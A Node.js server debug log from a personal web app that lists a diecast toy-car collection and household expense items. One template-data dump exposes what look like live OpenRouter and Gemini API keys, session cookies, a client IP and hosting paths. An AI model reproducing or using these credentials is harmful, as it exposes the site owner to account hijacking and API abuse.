      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:52:44.775Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:52:44.776Z server-connect:app Executing action step identify
2026-02-12T11:52:44.776Z server-connect:app options: { provider: 'security' }
2026-02-12T11:52:44.776Z server-connect:output identity: 1
2026-02-12T11:52:44.776Z server-connect:app Executing action step restrict
2026-02-12T11:52:44.776Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:52:44.777Z server-connect:output restrict: undefined
2026-02-12T11:52:44.777Z server-connect:app Executing action step paged
2026-02-12T11:52:44.778Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:52:44.783Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 84,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:05:42.855Z server-connect:router Serving templateView /
2026-02-12T13:05:42.855Z server-connect:app Executing action step identify
2026-02-12T13:05:42.855Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:42.855Z server-connect:output identity: 1
2026-02-12T13:05:42.855Z server-connect:app Executing action step restrict
2026-02-12T13:05:42.855Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:05:42.856Z server-connect:output restrict: undefined
2026-02-12T13:05:42.856Z server-connect:app Executing action step restrict
2026-02-12T13:05:42.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:05:42.856Z server-connect:output restrict: undefined
2026-02-12T13:05:42.856Z server-connect:router Render template layouts/main
2026-02-12T13:05:42.856Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.122Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-12T13:05:48.023Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:05:48.024Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:05:48.024Z server-connect:app Executing action step identify
2026-02-12T13:05:48.024Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:48.024Z server-connect:output identity: 1
2026-02-12T13:05:48.024Z server-connect:app Executing action step restrict
2026-02-12T13:05:48.025Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:48.025Z server-connect:app Executing action step identify
2026-02-12T13:05:48.025Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:48.025Z server-connect:output identity: 1
2026-02-12T13:05:48.025Z server-connect:app Executing action step restrict
2026-02-12T13:05:48.025Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:48.026Z server-connect:output restrict: undefined
2026-02-12T13:05:48.026Z server-connect:app Executing action step select
2026-02-12T13:05:48.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:05:48.027Z server-connect:output restrict: undefined
2026-02-12T13:05:48.027Z server-connect:app Executing action step single
2026-02-12T13:05:48.027Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:05:48.030Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
